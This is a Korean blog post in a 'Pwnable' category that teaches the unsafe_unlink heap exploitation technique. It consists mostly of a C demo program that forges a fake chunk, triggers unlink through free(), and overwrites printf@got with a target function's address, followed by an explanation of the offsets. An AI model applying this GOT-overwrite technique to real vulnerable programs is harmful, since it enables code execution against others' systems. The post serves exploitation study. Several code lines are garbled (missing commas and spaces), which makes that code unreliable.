ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Heap exploit] unsafe_unlink
    Hack/Pwnable 2016. 10. 18. 15:52

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #include <stdio.h>
    #include <stdlib.h>
     
    void jackpot() { puts("jackpot!"); }
     
    char *p;
     
    int main()
    {
        printf("&p = %p\n"&p);
     
        p = malloc(0x40);
        char *p1 = malloc(0x80);
        printf("p = %p\n", p);
        printf("p1 = %p\n", p1);
        printf("p1->prev_size = %p\n"*(void **)(p1-0x10));
        printf("p1->size = %p\n"*(void **)(p1-0x8));
     
        puts("\n[+] abuse p overflow");
        *(void **)(p+0x10= (void *)&p-0x18;
        *(void **)(p+0x18= (void *)&p-0x10;
        *(void **)(p+0x40= 0x40;
        *(void **)(p+0x48= 0x90;
        printf("p->fd->bk = %p\n"*(void **)(p+0x10)+0x18);
        printf("p->bk->fd = %p\n"*(void **)(p+0x18)+0x10);
        printf("p1->prev_size = %p\n"*(void **)(p1-0x10));
        printf("p1->size = %p\n"*(void **)(p1-0x8));
     
        puts("\n[+] free p1 (p <- &p-0x18)");
        free(p1);
        printf("p = %p\n", p);
     
        puts("\n[+] modify p and write *p");
        *(void **)(p+0x18= 0x601028;  /* printf@got */
        *(void **)p = jackpot;
     
        printf("p = %p\n", p);
        return 0;
    }
    cs
    [inaz2]


    코드는 힙을 할당하고 prev_size, size 등 각각의 Chunk를 출력하고 오버플로우가 된다는가정하에 Fake Chunk를 만드는 예제이다.


    그리고 char *p;는 전역변수에 선언되어있다. ( bss section )


    해당 코드의 핵심은 아래와같다.


    [ malloc의 포인터가 우리가 rw 할 수 있는 영역(bss)에 있으면 fake chunk를 만들어 해당 포인터를 다시 작성 할 수 있다 ]


    코드를 컴파일하여 실행 시켜보았다.


    gcc -o heap heap.c 



    [ASLR Off]


    p의 포인터는 0x601060에 존재한다( bss 영역 )


    p가 실제로 할당된 영역은 heap영역의 0x602010이다.


    p1의 할당영역은 0x602060이다.


    그리고 p1의 청크에대해서 출력하고있다. 그 다음부터가 중요한 설명인데, p의 fake chunk를 만들어 공격을 하는 코드이다.



    *(void **)(p+0x10= (void *)&p-0x18; // fd
    *(void **)(p+0x18= (void *)&p-0x10; // bk
    *(void **)(p+0x40= 0x40;            // prev_size
    *(void **)(p+0x48= 0x90;            // size


    fake chunk를 만들었다.




    디버깅을 통해 확인하면 fake chunk가 만들어졌다. 

    fd와 bk 특성대로 0x18, 0x10만큼 포인터에서 빼준값을 넣어주었다.


    64비트에서는 32비트의 *2다.


    32비트에서는 fd -12, bk-8 이였지만 그의 두배수인 24와 16을 빼준값을 넣는다.


     *(void **)(p+0x18= 0x601028;  /* printf@got */
     *(void **)p = jackpot;



    fd에 printf@got를 써주고, bss에 있는 p 포인터를 jackpot이라는 함수 주소로 써준다.



    rax는 0x601028 인 printf@got 값을 가지고있다. rax 주소에 jackpot 함수주소를 담는다. 


    그렇게 p포인터는 재작성되고, 원하는 함수의 got 를 덮어 쓸 수 있다.


    'Hack > Pwnable' 카테고리의 다른 글

    [Heap exploit] unsorted bin attack  (0) 2016.10.26
    [Heap exploit] fastbin unlink  (0) 2016.10.19
    Heap Exploit - House of Force  (0) 2016.10.11
    ringzer0 pwnx64  (0) 2016.10.02
    Use-After-Free GOT Overwrite  (2) 2016.10.02

    댓글

Designed by Tistory.